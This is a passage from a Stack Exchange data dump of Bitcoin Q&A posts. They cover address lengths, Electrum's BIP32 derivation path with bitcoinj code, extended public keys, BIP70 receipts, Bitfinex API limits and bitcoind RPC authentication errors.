  <row Id="36946" PostTypeId="2" ParentId="36944" CreationDate="2015-04-16T16:45:42.537" Score="1" Body="&lt;p&gt;Private key and public key has a fixed size. Private keys are always 32 bytes, and public keys are always 65 bytes. However the bitcoin addresses are generated from the public key using &lt;a href=&quot;https://en.bitcoin.it/wiki/Base58Check_encoding#Base58_symbol_chart&quot; rel=&quot;nofollow&quot;&gt;Base58 encoding&lt;/a&gt; &lt;br/&gt;&#xA;Base58 generates a 35 characters address but as mentioned in the &lt;a href=&quot;https://en.bitcoin.it/wiki/Base58Check_encoding#Base58_symbol_chart&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt; and leading zero bytes are expressed as a single &quot;1&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;repeat(number_of_leading_zero_bytes_in_hash)&#xA;   {&#xA;   output_string.append(code_string[0]);&#xA;   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Depending on the number of leading zeros, the minimum number can be different. &lt;a href=&quot;https://bitcointalk.org/index.php?topic=613068.0&quot; rel=&quot;nofollow&quot;&gt;Theoretically&lt;/a&gt; it even can be as small as 20 characters so you cant define the minimum length for the bitcoin addresses.&lt;/p&gt;&#xA;" OwnerUserId="21331" LastActivityDate="2015-04-16T16:45:42.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36948" PostTypeId="2" ParentId="36944" CreationDate="2015-04-16T17:32:18.127" Score="21" Body="&lt;p&gt;The wiki is correct! The source you linked must have assumed that the address with the smallest encoding has version_byte=00, data=20*00, checksum=94A00911&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ encodeBase58 00000000000000000000000000000000000000000094A00911&#xA;1111111111111111111114oLvT2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Which has length 27.&lt;/strong&gt; This address is valid and has been &lt;a href=&quot;https://blockchain.info/address/1111111111111111111114oLvT2&quot; rel=&quot;noreferrer&quot;&gt;used on the blockchain&lt;/a&gt;! But it is not the shortest address.&lt;/p&gt;&#xA;&lt;p&gt;I wrote this short &lt;a href=&quot;http://pastebin.com/zx9kQtT0&quot; rel=&quot;noreferrer&quot;&gt;bash script&lt;/a&gt; to find the minimum length address. It found that there were a total of &lt;strong&gt;266 address of length 26&lt;/strong&gt;. For anyone who is curious, &lt;a href=&quot;http://pastebin.com/KJmYYmtC&quot; rel=&quot;noreferrer&quot;&gt;these are the 266 addresses with length 26&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;hr&gt; &#xA;&lt;p&gt;The maximum length address has version_byte=00, data=20*FF, checksum=FA06820B:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ encodeBase58 00FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA06820B&#xA;1QLbz7JHiBTspS962RLKV8GndWFwi5j6Qr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Which has length 34.&lt;/strong&gt; This has also been used to receive coins, as can be seen &lt;a href=&quot;https://blockchain.info/address/1QLbz7JHiBTspS962RLKV8GndWFwi5j6Qr&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="5406" LastEditDate="2020-07-02T00:42:35.480" LastActivityDate="2020-07-02T00:42:35.480" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="36950" PostTypeId="2" ParentId="36920" CreationDate="2015-04-16T19:57:04.827" Score="0" Body="&lt;p&gt;&quot;Obelisk is a scalable blockchain query infrastructure. A pure Python library is great because it can be deployed easily without requiring dependencies. This allows code to be ported across many platforms such as the mobile phone with Kivy, desktops or any platform running Python.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it could be conveniently implemented in development of a processing service/backend.&lt;/p&gt;&#xA;" OwnerUserId="2769" LastActivityDate="2015-04-16T19:57:04.827" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36951" PostTypeId="2" ParentId="36943" CreationDate="2015-04-16T20:09:54.117" Score="0" Body="&lt;p&gt;The address that is unknown to you could be created by your software to put there what is left after a payment. Say you hold 1 btc, and pay 0.1 to some address, 0.9 goes to a newly created address that belongs to same private key of yours. (at least it was the case in older versions of bitcoinqt) &lt;a href=&quot;https://blockchain.info/ru/tx/17d87c807ed724e31052346b7dc01027e738f077af382b529474a4cd5b014805&quot; rel=&quot;nofollow&quot;&gt;an example&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happened here is a mystery, but 17iU5t8JXuJux shows some action last month and could well be a collecting address of some sort of trojan/stealer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you experimenting on everyday machine? With so much vulnerabilities and software zoo nowadays it is advised to have a separate cleam machine for that or, probably for the better, offline wallet machine, disconnected from the network.&lt;/p&gt;&#xA;" OwnerUserId="2769" LastActivityDate="2015-04-16T20:09:54.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36952" PostTypeId="1" AcceptedAnswerId="36970" CreationDate="2015-04-16T21:10:54.797" Score="3" ViewCount="8802" Body="&lt;p&gt;There is currently an API limit of 60 requests per minute on &lt;a href=&quot;https://www.bitfinex.com/pages/api&quot; rel=&quot;nofollow&quot;&gt;Bitfinex&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question is whether this limit is related to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;1) single IP address&lt;/strong&gt;,&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If so, can I have more IPs linked to one account each of which having the 60request/minute linit?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;2) user account&lt;/strong&gt;,&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If so, can I have more accounts with the same IP address?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;3) single API key&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If so, can I have more keys to one account each of which having separate request limit?&lt;/p&gt;&#xA;" OwnerUserId="5964" LastActivityDate="2018-08-21T15:51:59.227" Title="Bitfinex API limit" Tags="|api|bitfinex|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36953" PostTypeId="1" AcceptedAnswerId="36959" CreationDate="2015-04-16T21:19:05.713" Score="3" ViewCount="250" Body="&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt; &lt;em&gt;I wish to store some sort of key in my application for each vendor account that allows for my application to generate a receiving address for clients to make payments to.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am writing some invoice software in Java that I would like to allow to use bitcoin. Basically what I want to have happen is a vendor can save some sort of key to their account details (sorta like the PayPal id and secret key) and any clients paying to that vendor via bitcoin will be given the url to pay to. I don't want this to be a middle man software in the sense that I will never have any bitcoins on my server, I won't accept payments, it only serves to give a payment address of the vendor to a client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am under the understanding that this would be possible using the receiving address, however it is not good to use one address for every payment so that is out of the question. I don't want a vendor to have to add a new address after every payment because that isn't at all user friendly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm wondering if there's some way I can generate addresses for the vendor on my server without holding their wallet. I have been looking at bitcoinj and it seems like there may be some way to do it, but I am quite new to bitcoin. Is that even a possibility? Is this a reasonable expectation for my application to have? If not, do I have any other options?&lt;/p&gt;&#xA;" OwnerUserId="25098" LastEditorUserId="2306" LastEditDate="2015-04-16T22:58:01.087" LastActivityDate="2015-04-22T22:31:49.017" Title="Accept payments on someone else's behalf without being able to spend them" Tags="|bitcoinj|java|receiving|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36954" PostTypeId="2" ParentId="12670" CreationDate="2015-04-16T21:55:39.910" Score="6" Body="&lt;p&gt;Something I am currently looking into, and a huge issue that nobody has really mentioned earlier is blockchain time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Bitcoin is traded on a number of exchanges, however the entire process of buying on one exchange, transferring to another exchange and selling on that second exchange can take on the order of magnitude of 30 minutes(~10 minutes per block verification) if not more. With the volatility of the market, I would definitely not want to hinge a bet that the arbitrage window would still be open that long after it becomes present.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) There are cryptocurrencies that have shorter verification times, but very few trade on multiple exchanges, and even fewer do so on exchanges that have APIs available. Litecoin is one of the few coins that does trade quite widely, be it still has a verification time of two and a half minutes. &lt;/p&gt;&#xA;" OwnerUserId="23313" LastActivityDate="2015-04-16T21:55:39.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36955" PostTypeId="1" AcceptedAnswerId="36956" CreationDate="2015-04-16T22:08:51.277" Score="11" ViewCount="11104" Body="&lt;p&gt;Electrum 2.0 and up uses &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki&quot;&gt;BIP0032&lt;/a&gt; internally. I want to write code that generates the same addresses. I can't find any information about this online.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What BIP32 paths does it use to generate addresses?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2017-09-16T21:15:09.550" Title="What BIP32 derivation path does Electrum use?" Tags="|electrum|bip32-hd-wallets|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36956" PostTypeId="2" ParentId="36955" CreationDate="2015-04-16T22:08:51.277" Score="11" Body="&lt;p&gt;It uses &lt;code&gt;m/0/&amp;lt;n&amp;gt;&lt;/code&gt; for receiving addresses, and &lt;code&gt;m/1/&amp;lt;n&amp;gt;&lt;/code&gt; for change addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some example bitcoinj code to generate receiving addresses from an extended public key.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;String serialized_xpub = &quot;xpub.....&quot;;&#xA;unsigned int address_num = 4;&#xA;NetworkParameters params = MainNetParams.get();&#xA;DeterministicKey root_xpub = DeterministicKey.deserializeB58(null, serialized_xpub, params);&#xA;&#xA;DeterministicKey receiving = HDKeyDerivation.deriveChildKey(root_xpub, new ChildNumber(0, false));&#xA;DeterministicKey new_address_key = HDKeyDerivation.deriveChildKey(receiving, new ChildNumber(address_num, false));&#xA;String new_address = new_address_key.toAddress().toString();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-10-16T06:34:43.460" LastActivityDate="2015-10-16T06:34:43.460" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="36957" PostTypeId="1" AcceptedAnswerId="36958" CreationDate="2015-04-16T22:38:17.283" Score="7" ViewCount="10726" Body="&lt;p&gt;Someone's asking for my extended public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I view this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the consequences of giving this to someone? Can they steal my Bitcoins if I give this to someone?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2019-08-11T21:57:05.590" Title="How do I view the extended public key in Electrum?" Tags="|electrum|bip32-hd-wallets|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36958" PostTypeId="2" ParentId="36957" CreationDate="2015-04-16T22:38:17.283" Score="8" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How do I view my extended public key?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Go to Wallet &gt; Master Public Keys, and copy the text that starts with &lt;code&gt;xpub&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What are the consequences of giving my extended public key to someone?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They can view all of the transactions and addresses in your wallet. They can generate as many of your addresses as they want.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can they steal my Bitcoins if I give this to someone?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, unless you also give them one of your private keys. (All of your private keys are equivalent if they have access to your extended public key.) So, don't do that.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-04-19T19:53:52.577" LastActivityDate="2015-04-19T19:53:52.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36959" PostTypeId="2" ParentId="36953" CreationDate="2015-04-16T22:56:21.927" Score="2" Body="&lt;p&gt;This is entirely possible with an optional additon to Bitcoin called &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;BIP32&lt;/a&gt;. Unfortunately, BIP32 is not implemented by the standard client, but there are other clients that do implement it.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Ask your customer to download the latest version of &lt;a href=&quot;https://electrum.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Electrum&lt;/a&gt;, then have them give you their &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/36957/how-do-i-view-the-extended-public-key-in-electrum/36958#36958&quot;&gt;extended public key&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(As I said above, there are multiple clients that can do this, I'm just most familiar with Electrum.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Include this code in your BitcoinJ application:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;String serialized_xpub = &quot;xpub.....&quot;;&#xA;unsigned int address_num = 4;&#xA;NetworkParameters params = MainNetParams.get();&#xA;DeterministicKey root_xpub = DeterministicKey.deserializeB58(null, serialized_xpub, params);&#xA;&#xA;// Derive m/0/&amp;lt;n&amp;gt;, Electrum's BIP32 path&#xA;DeterministicKey receiving = HDKeyDerivation.deriveChildKey(root_xpub, new ChildNumber(0, false));&#xA;DeterministicKey new_address_key = HDKeyDerivation.deriveChildKey(receiving, new ChildNumber(address_num, false));&#xA;String new_address = new_address_key.toAddress().toString();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will generate the same address as long as you use the same xpub and &lt;code&gt;address_num&lt;/code&gt;. Make sure that you don't &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/35555/what-does-it-mean-when-addresses-are-labelled-beyond-the-gap-limit-highlighted&quot;&gt;skip five or more addresses&lt;/a&gt;, though. If you do end up doing this, then your customer can generate addresses until they see the new payments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, note that you don't have the private key for this address. If your customer loses their wallet, those coins are gone.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Put that address on the invoice.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The money will show up in their wallet. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Best of luck with your application!&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2015-04-22T22:31:49.017" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36960" PostTypeId="1" CreationDate="2015-04-16T23:48:29.753" Score="1" ViewCount="109" Body="&lt;p&gt;The &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0070.mediawiki&quot; rel=&quot;nofollow&quot;&gt;Payment Protocol&lt;/a&gt; (BIP 70) describes three messages passed between a payer and payee. The last one is an acknowledgement message sent by the payee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=300809.0&quot; rel=&quot;nofollow&quot;&gt;This discussion&lt;/a&gt; talks about the acknowledgement being used as a receipt. In the event of a dispute, the payer can show the payee this receipt to prove payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, unlike the payment request message, the acknowledgement message isn't signed. I may be missing something, but this looks like a weak form of receipt without a signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although the acknowledgement attaches the payment message, the payment message doesn't reference the original payment request, which is the only message with a signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like a signed acknowledgement message would provide strong proof of purchase, and would be very valuable from the perspective of consumer protection. Why wasn't this included in BIP 70?&lt;/p&gt;&#xA;" OwnerUserId="10845" LastActivityDate="2015-04-17T03:33:59.310" Title="Why is a Payment Protocol Acknowledgement message not signed?" Tags="|bip70-payment-protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36961" PostTypeId="2" ParentId="36960" CreationDate="2015-04-17T00:53:35.977" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;This discussion talks about the acknowledgement being used as a receipt. In the event of a dispute, the payer can show the payee this receipt to prove payment.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't think it says that. Quote:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When a payment request is signed it's not just the addresses. The memo is also signed. By keeping around the signed payment request, and the transactions you created to satisfy it, you obtain a mathematical proof of payment. The merchant cannot dispute what was paid for because the memo field contains a description, nor can they dispute that payment was delivered (unless they claim they lost control of their private keys, of course).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, when going to dispute resolution, the buyer shows the signed PaymentRequest, which includes one or more Outputs, and shows a transaction to those outputs. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It seems like a signed acknowledgement message would provide strong proof of purchase, and would be very valuable from the perspective of consumer protection. Why wasn't this included in BIP 70?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Well, the server isn't required to provide a signed acknowledgement. It could just terminate the connection after the Payment was received. At that point, you'd be in exactly the same boat.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-04-17T03:33:59.310" LastActivityDate="2015-04-17T03:33:59.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36962" PostTypeId="1" CreationDate="2015-04-17T02:56:42.497" Score="4" ViewCount="2053" Body="&lt;p&gt;Say someone sends bitcoin to an address. It is later determined that those incoming funds are tainted and the recipient wants no association. What is their recourse?&lt;/p&gt;&#xA;" OwnerUserId="14236" LastEditorUserId="2306" LastEditDate="2015-04-17T06:12:05.700" LastActivityDate="2017-05-17T15:41:26.293" Title="Is it possible to reject a bitcoin payment?" Tags="|transactions|taint-analysis|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36963" PostTypeId="1" AcceptedAnswerId="36965" CreationDate="2015-04-17T02:59:16.827" Score="2" ViewCount="3267" Body="&lt;p&gt;How does one log all an Antminer's statistics (temperature, hashrate, etc.) to a file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can log in to an Antminer via SSH, so I should be able to turn on some option for &lt;code&gt;cgminer&lt;/code&gt; to log everything, no?&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2015-09-14T08:59:08.737" Title="Logging Antminer Statuses" Tags="|cgminer|antminer|logging|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36964" PostTypeId="2" ParentId="36962" CreationDate="2015-04-17T03:43:15.283" Score="7" Body="&lt;p&gt;The protocol doesn't include a way to reject transactions, for a variety of reasons (the protocol doesn't know which output is real and which is change; blocks can't be changed after being mined; etc) but it is possible to do something similar.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Accept payment, then return it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pick one of the funding addresses at random, then send the coins back to that address.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Accept payment, then destroy it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Send the coins to an address that doesn't have a private key associated with it, like 1BitcoinEaterAddressDontSendf59kuE.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Implementations&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To my knowledge, no client implements an easy way to do either of these things. The best way would be use coin control to select the offending output, then make a transaction that returned/destroyed it.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-04-17T03:43:15.283" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="36965" PostTypeId="2" ParentId="36963" CreationDate="2015-04-17T06:45:36.940" Score="3" Body="&lt;p&gt;I looked at &lt;code&gt;/www/pages/cgi-bin/minerStatus.cgi&lt;/code&gt;, and it parses&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cgminer-api -o&#xA;cgminer-api -o pools&#xA;cgminer-api -o stats&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2015-04-17T06:45:36.940" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36966" PostTypeId="2" ParentId="36957" CreationDate="2015-04-17T07:51:59.927" Score="2" Body="&lt;p&gt;I want to reiterate what @NickODell said: &lt;strong&gt;DO NOT share your private key&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This rule - to clarify - is &lt;em&gt;not referring to the &lt;strong&gt;master private key&lt;/em&gt;&lt;/strong&gt; (&lt;code&gt;xprv&lt;/code&gt;): it means &lt;em&gt;any&lt;/em&gt; child address' private key (WIF, hex, etc) will compromise your whole chain, &lt;a href=&quot;https://bitcoinmagazine.com/8396/deterministic-wallets-advantages-flaw/&quot; rel=&quot;nofollow&quot;&gt;as outlined here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One could understandably assume that because an address has been used and &quot;discarded&quot;, that less caution with that old private key is fine (because you'll never use it again). &lt;strong&gt;Don't fall into this trap!&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-04-17T07:51:59.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36969" PostTypeId="1" CreationDate="2015-04-17T17:10:56.270" Score="4" ViewCount="3951" Body="&lt;p&gt;When I execute my php file from the command line I get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;pre&amp;gt;&#xA;PHP Warning:  fopen(http://...@127.0.0.1:8332/): failed to open stream: HTTP request failed! HTTP/1.0 401 Authorization Required&#xA; in /home/brian/Desktop/VH2_apache2/host02/btc16/jsonRPCClient.php on line 132&#xA;PHP Fatal error:  Uncaught exception 'Exception' with message 'Unable to connect to http://b:a@127.0.0.1:8332/' in /home/brian/Desktop/VH2_apache2/host02/btc16/jsonRPCClient.php:140&#xA;Stack trace:&#xA;#0 /home/brian/Desktop/VH2_apache2/host02/btc16/index1.php(12): jsonRPCClient-&amp;gt;__call('getinfo', Array)&#xA;#1 /home/brian/Desktop/VH2_apache2/host02/btc16/index1.php(12): jsonRPCClient-&amp;gt;getinfo()&#xA;#2 {main}&#xA;  thrown in /home/brian/Desktop/VH2_apache2/host02/btc16/jsonRPCClient.php on line 140&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;My php file looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  require_once 'jsonRPCClient.php';&#xA;&#xA;  $bitcoin = new jsonRPCClient('http://user:password@127.0.0.1:8332/',true);&#xA;  #$param = array(&#xA;  #'c418518d5ffccd947e377ab7e589f684d83e6df1af8f397cc11848ac8a78f0dd',&#xA;  #'1');&#xA;&#xA;  #$return1 = $bitcoin-&amp;gt;getrawtransaction('c418518d5ffccd947e377ab7e589f684d83e6df1af8f397cc11848ac8a78f0dd','1')&#xA;&#xA;  echo &quot;&amp;lt;pre&amp;gt;\n&quot;;&#xA;  print_r($bitcoin-&amp;gt;getinfo()); echo &quot;\n&quot;;&#xA;  #print_r($return1['0']); echo &quot;\n&quot;;&#xA;  #echo &quot;Received: &quot;.$bitcoin-&amp;gt;getreceivedbylabel(&quot;Your Address&quot;).&quot;\n&quot;;&#xA;  echo &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;My webpage with apache2 appears blank that uses the php file I made.&#xA;I am using the -txindex parameter when I launch bitcoind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I am able to use bitcoin-cli to interact with bitcoind&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Iv'e used:&#xA;bitcoin-cli getrawtransaction c418518d5ffccd947e377ab7e589f684d83e6df1af8f397cc11848ac8a78f0dd 1&#xA;&#xA;and:&#xA;bitcoin-cli getinfo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also my bitcoin.conf looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcuser=user&#xA;rpcpassword=pass&#xA;txindex=1&#xA;server=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also note that I substituted the usernames and passwords to hide them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is why can I use bitcoin-cli and get no error, but when I try to use the jsonRPCClient.php I get the error 401 Authorization Required and how do I fix the error?&lt;/p&gt;&#xA;" OwnerUserId="25105" LastActivityDate="2019-11-29T12:02:10.193" Title="jsonRPCClient.php states its served a 401 error response" Tags="|bitcoind|client|json-rpc|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="36970" PostTypeId="2" ParentId="36952" CreationDate="2015-04-17T21:06:38.583" Score="3" Body="&lt;p&gt;I emailed them about this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The limit is measured &lt;strong&gt;per IP address&lt;/strong&gt; and &lt;strong&gt;per account&lt;/strong&gt;. So for one&#xA;  account (regardless of the number of key/secret pairs) 60 requests per&#xA;  minute can be made via our API. When you are using multiple&#xA;  connections (IP addresses), the combined sum of all request for the&#xA;  account in question will used to determine if you are below the&#xA;  60/minute limit.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We hope this response has sufficiently answered your questions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-04-17T21:06:38.583" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36971" PostTypeId="1" CreationDate="2015-04-17T23:45:46.520" Score="3" ViewCount="517" Body="&lt;p&gt;I am using a Linux computer.&#xA;The issue I am having is that sometimes I have to use &quot;kill -s 9 (bitcoind pid)&quot; and restart bitcoind using &quot;bitcoind -txindex&quot; because bitcoind will sometimes not let me use &quot;bitcoind stop&quot;. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;brian@brians-lair3:~/Desktop/VH2_apache2/host02/btc15$ bitcoind stop&#xA;error: incorrect rpcuser or rpcpassword (authorization failed)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This happens after bitcoind has been running for a few hours or so.&#xA;It also locks me out of bitcoin-cli:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;brian@brians-lair3:~/Desktop/VH2_apache2/host02/btc15$ bitcoin-cli getinfo -rpcuser=b -rpcpassword=a&#xA;error: incorrect rpcuser or rpcpassword (authorization failed)&#xA;brian@brians-lair3:~/Desktop/VH2_apache2/host02/btc15$ bitcoin-cli getinfo&#xA;error: incorrect rpcuser or rpcpassword (authorization failed)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even when I specify the correct password and username it doesn't work.&#xA;Initially when I start bitcoind though, I can use bitcoin-cli:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;brian@brians-lair3:~/Downloads/DownloadsArchive$ bitcoin-cli getinfo&#xA;{&#xA;    &quot;version&quot; : 90300,&#xA;    &quot;protocolversion&quot; : 70002,&#xA;    &quot;walletversion&quot; : 60000,&#xA;    &quot;balance&quot; : 0.00000000,&#xA;    &quot;blocks&quot; : 352549,&#xA;    &quot;timeoffset&quot; : -1,&#xA;    &quot;connections&quot; : 26,&#xA;    &quot;proxy&quot; : &quot;&quot;,&#xA;    &quot;difficulty&quot; : 49446390688.24143982,&#xA;    &quot;testnet&quot; : false,&#xA;    &quot;keypoololdest&quot; : 1421427760,&#xA;    &quot;keypoolsize&quot; : 101,&#xA;    &quot;unlocked_until&quot; : 0,&#xA;    &quot;paytxfee&quot; : 0.00000000,&#xA;    &quot;relayfee&quot; : 0.00001000,&#xA;    &quot;errors&quot; : &quot;&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also here is my 